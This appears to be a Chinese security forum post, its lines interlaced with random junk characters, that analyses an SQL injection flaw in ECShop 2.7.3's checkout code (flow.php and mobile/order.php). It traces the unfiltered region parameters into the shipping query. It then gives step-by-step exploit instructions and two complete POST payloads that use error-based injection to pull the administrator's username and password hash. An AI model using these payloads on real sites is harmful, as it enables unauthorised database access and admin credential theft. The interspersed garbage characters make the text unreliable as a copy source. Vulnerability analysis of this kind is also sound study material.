前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
+ d% ~7 u5 o' n! k
5 W+ P7 g. |0 H; K 漏洞关键文件:
( b& L( K) j4 j2 i( C z
8 Z$ c/ M" z! E4 \4 `0 Y" W /includes/lib_order.php
5 v4 _2 n0 R( C
6 V I% Y2 Z# f' ~6 V% x N 关键函数:! U% A! y) Q# a: w' E2 G. ~( [
! w! t, r3 ?0 r; X: k1 D& [
% V$ [5 N5 U2 _5 Y# e
3 P! I5 Q# F6 Q! M% j% h( J) x
01 function available_shipping_list($region_id_list)
# h- `0 u& n$ Q) D8 `
! E) H" \0 a, W7 [# \% J% z Q02 {
. i& B* _# G/ S; s" d* F* ]# I# p) r# ~" Y0 n* P
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
: E6 D5 H5 [2 w) b4 L
4 `. G; I( s1 M/ A- V+ i04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . % O- Y0 B: k# E3 x+ p% x% a3 F
/ b$ ^" Y8 S N$ [
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . / ]( x# U* g# Y7 u( i
8 m( }, a, C" V- K06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . r. p' \# g7 m; r8 r }' o
) O5 |+ N) L- b9 L( S Q3 ]07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
1 T4 r. \& P% {9 ?( V/ l- Y0 m+ e# a2 ^" Y: H: r$ J
08 'WHERE r.region_id ' . db_create_in($region_id_list) . @0 \8 i! N' P! v
* R9 [- O4 _" A+ l- t) q
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 2 b! T, p; g$ C. s. }
& c! b4 @9 N; ]* x z
10
/ Z r% w7 ?" h4 P( ?; i2 x& f9 ]- q5 z+ S/ c' |' H
11 return $GLOBALS['db']->getAll($sql); % A0 _" A) a" O3 Y! b) i/ L2 q
& ^5 Z: G# v; f. {" z12 } 4 V& |7 f+ P. ~4 z, m# n. v: _
2 m" ^( J' \/ P. ]6 C
显然对传入的参数没有任何过滤就带入了查询语句。
G" `4 t/ n" ] 8 ~: A6 t+ v1 J/ d# v. U
下面我们追踪这个函数在flow.php中:
% I5 m) p9 D( z6 ?: l% O 第531行:
2 o7 `9 u. D5 t! W1 d7 b2 d1 E4 Z; Y( ^/ l0 V- A
1 $shipping_list = available_shipping_list($region);
+ i/ ~6 n- R! N9 q* S% n
( i2 e* E4 M, e$ _! ~ s1 R2 F( _5 N; Y( ]6 Z
7 n& ^4 a9 M! m" _/ ^ : o& k' L4 Q P. ~/ Y
( b5 O; v- p9 t* @2 c% z再对传入变量进行追踪:
) j# s$ q0 r9 G7 l
% ]" }, c* ]# i5 `. y; u* P+ d第530行: # t! \% n( B- {& ~8 x3 w3 m
8 A: L# z5 @' r. S& P1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 7 ~7 \ w w M4 K9 }0 E* {; w
9 K% f. I* P9 b$ q E) R, j7 @
. `- E8 o+ V3 ?3 r2 q; v" [- x z4 q3 V' h I/ {0 C2 q! N
0 I9 n8 A; F9 ]. N# u
# K1 T1 k/ y$ n |% s0 c7 Y. j7 j第473行: / l6 L9 y: j: F D* S+ l V
9 o7 ?% M C4 ]) j6 V( r8 f4 ~
1 $consignee = get_consignee($_SESSION['user_id']);
' U/ a. u: V+ c9 P2 v
- U% D) b% s7 g4 Q$ Q到了一个关键函数:2 m9 }, M4 j+ O; }4 N4 a8 o
& q+ l+ }" \1 c- n, F; c/includes/lib_order.php( J6 r$ X* ]$ n) P w
+ K$ r" D* h% R) K4 e4 [
: N+ G+ y% Z4 ]0 h+ U" K K6 a8 \* T* B% k
3 A+ v5 f7 t$ M: w. R
5 w1 [8 n7 h% E01 function get_consignee($user_id)
. q+ `& P* O6 F) g" a: o2 u* v! X7 |% e
02 {
1 I. M9 Y# e0 p4 z( J& l5 |, m' X" Z- ?1 g$ J( s
03 if (isset($_SESSION['flow_consignee'])) ! [, j# Q% I" c% Q0 [
# x: Q/ _( U/ U7 y7 K) t* a5 m04 {
7 D% c' J8 Z4 E; G. V+ |
# J; W: V& E/ O05 /* 如果存在session,则直接返回session中的收货人信息 */ 8 F, P6 M$ F3 g3 D( a
1 F$ O6 n% p9 j3 N
06 % Y' _" R+ u3 z! m
6 P- T& n2 Q2 A5 q
07 return $_SESSION['flow_consignee']; 2 K# X: v: g \+ R4 L
4 a( [& G6 a! L) z; r08 }
2 v% S- Y3 u, \% J' ~: w+ P5 ` P0 {5 b9 s( \6 O& ]% a
09 else
+ Y0 s1 T# e, n6 l( r* t3 J! k* \! v E" _* a) ?
10 {
1 K: K N1 ?1 k8 z! m1 s3 Y
3 \( J) F) }* `0 ~6 X2 X11 /* 如果不存在,则取得用户的默认收货人信息 */ + }' ] D& |) ^! P
9 B0 o( |0 O# y
12 $arr = array();
1 c) J8 ]9 E1 i- ]/ y9 b6 B
9 z' u7 q2 q/ R0 w8 y! v1 e7 o( p V13 * ?' Q Y0 }3 ]! x
) b, S L) \* E2 c' D14 if ($user_id > 0)
A$ ~* [" r$ h+ g7 F
: `* F3 J0 p: t/ `7 Q15 {
: F- d% w% s4 B! U5 c( u# |
- E! P2 b& h3 @$ B; Z# R16 /* 取默认地址 */ $ X) C" c o s W& ]- {# @& \7 I
: P) m" ?& m% F! L/ P
17 $sql = "SELECT ua.*". 2 d1 e/ b4 v$ V6 l. J* g, r
9 F) r a0 E7 }0 A" C18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. * L4 `3 b1 q7 W9 I
# X/ {4 ]. C0 h' V19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ' n5 c" i( x$ x( d4 O' }* M: v
3 t1 w8 U! K0 [( T6 R/ I! i
20 3 r; A) N2 {; N7 w3 O
0 J' z& F0 v, X" _! ]
21 $arr = $GLOBALS['db']->getRow($sql);
z% Z* m% p0 Z, p! G$ z0 ?3 R. ]; H d6 f
22 }
( M" p. v) P! a, c: ], Z* A$ V$ y4 V7 ~/ {! K. Z9 ]0 J1 L+ D
23 9 t8 F: n: ^' t% c( N
0 u6 W: V& E5 C24 return $arr;
2 U2 A( ^! N. d/ C6 l/ {
) O4 t. f# p8 z3 e25 }
& }7 Q/ o9 R3 O9 w* J4 n
- c2 z% E* ?! C; h1 c26 }
( ?4 g* [0 C; ^9 T
9 X5 R/ U$ w. H4 C0 s! k: b显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?9 r! z- v) Z- t3 g" Z: W7 L* h# s( C
8 g( i/ B5 ]% n$ t6 N9 f
- |# i! ]+ H, L8 ~& p5 z3 @. a, M' E0 n2 C$ p) F7 w
关键点:
' {; C! ?0 |. M3 M1 v; W4 q& ^* p: s+ v! i; }9 l8 v
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);" E; g1 W* w1 C3 j+ S
. P( a! ?$ N% u; }这里对传入参数反转义存入$_SESSION中。
; b ?7 `2 L, f& x/ [! y
( l- H* X h" p1 L$ h 0 m) \: p$ M4 e" f% a* H0 I8 Z
) A1 a' `/ F: U然后看下:
0 K) p% v% |( m4 d5 ~% z* r
" q' V# M0 M5 y+ \5 M, i# R * b# P2 u/ o9 s
, m- ^- P( }( z2 n! z: P
) ]$ u9 q. l2 n1 A4 E/ E$ k
# ?2 O( ]# Q ^( D6 v4 B
01 $consignee = array( $ q" ?3 ~$ `2 Z+ a+ X
: |8 a5 i* M! U2 v3 D8 P
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), 1 A$ O& J$ I w z Y/ \1 x
* @/ b1 N% j8 R% W3 h: d- I) e03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), / h8 x0 T& y+ }6 i$ d) m' d; ?
- `) z4 p8 w; r5 o6 M- Z8 M
04 'country' => empty($_POST['country']) ? '' _POST['country'], & \) A. U& ]0 u2 o3 |& G6 A
/ c' w% ^' N6 \6 d& e9 M" r05 'province' => empty($_POST['province']) ? '' _POST['province'],
8 U# \1 R! y3 z% ?: C7 n; s- h: l& k# h" s4 x' D6 Z5 T% z% w
06 'city' => empty($_POST['city']) ? '' _POST['city'],
- Q2 O) e( D! ~
, W4 k A% r3 v; E07 'district' => empty($_POST['district']) ? '' _POST['district'], ) l( R6 d0 o. v6 h+ K
, V5 U$ N- c- \6 T# X2 s. W. T, g
08 'email' => empty($_POST['email']) ? '' _POST['email'], 3 n' J4 k; W4 S2 u) j4 Y# k+ C! ]+ g* W
2 I. l( A D* v) S+ r
09 'address' => empty($_POST['address']) ? '' _POST['address'], 7 a# I8 I) t! T
: n3 ^; a; n/ t10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
) a* N. y( H+ h; D. w" a. `' V* M
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
T" u ?/ t0 d9 T% |7 a& Z' F3 N1 A' h' w9 Y, F
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), " K9 ?4 P. M( ?/ R; a' S& H
5 U! a% M0 W0 U- u3 w) Z T13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 3 F" k9 G- B8 j' r6 A% X# @
1 a0 {. \1 M3 l% v$ E M/ | W* i
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], & x/ k- W, T m1 ~, W
3 Z2 C) @. E# J; d: n1 Y8 i& O
15 );
! O1 ]4 G0 X5 @2 {: L, |9 z( t: C0 T6 E: r
好了注入就这样出现了。. a1 K% U" B* a# ^. U7 c- x3 {$ ]
; L+ b0 K w! E==================
d3 Y9 E& ~. A9 ~' X' u! r
2 {* b5 a# g$ Q! T0 [注入测试:6 f: P* |% Y$ Z; t
8 w9 c+ p' p" V |0 A7 o: u3 U( p- P
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)8 {4 `) V7 R, ^3 t6 m
' W% h: [1 }/ w; u9 H) Y
测试程序:ECShop_V2.7.3_UTF8_release1106
: t2 B' U) e* \
: ^0 o6 ?- c0 K4 [4 P & e7 x4 c2 v. \" ]& _5 J1 w7 P
4 ]' K Z9 n. O; v+ [$ ~. k. e5 w
1.首先需要点击一个商品加入购物车
- p' V/ M5 M0 }* o t! p
5 B& o5 e. i; M4 u9 P" v6 l2.注册一个会员帐号7 r! I8 m! J1 t9 m- t
& Z. R. e3 z% m" d3.post提交数据 M4 M* |3 M# i# z1 F+ U1 V
$ Z1 U) @# {) n/ ~, e& X' } ) Q/ q2 x X% O7 B5 K
1 J3 N/ C: D M7 _1 f5 d1 http://127.0.0.1/ecshop/flow.php " T! E% n# K* S$ m- e
, ?9 Z1 V: x% z- A+ F9 }2 p2
, D R: ?+ _6 J' U" i( }6 T$ q- V8 N9 A( d4 n" J
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
7 _# V K& [& U4 I0 e举一反三,我们根据这个漏洞我们可以继续深入挖掘:2 s @, ~1 |3 V, l* j/ U& j' I- j
4 X! G4 a: m' z# P- @" d9 }. R我们搜寻关键函数function available_shipping_list()) r0 F7 [1 z- X. M( L# N0 c$ x o" W
( H3 j% \! E c) y! V0 a
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
; A7 r. V: X$ L' o# G+ }5 p8 T M
2 c- T* [+ N3 b. {% F: H利用exp:$ X6 n( n! r0 M3 l1 |' l. u* L5 @
6 C4 F, L5 @7 O: t: r9 o: s1.点击一个商品,点击购买商标
% c& q, E% V( x4 G' D" ^ Y. J: l- C: |- z
2.登录会员帐号
6 k E) m5 }' ^, h* _3 O
7 r: m% X; ^( S! ]. Q3.post提交:
9 d9 n3 `* U1 k* o7 G/ |8 F2 i( I. {( g; \
http://127.0.0.1/ecshop/mobile/order.php, v1 }1 f+ E8 }, W9 J N
% A* D! S _) q1 g: U
~6 _* h! m. x: e' L2 T' U4 _: l) \( A+ o9 L
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
3 R; g, ] ^3 L
J W5 G/ O5 o! W8 q { |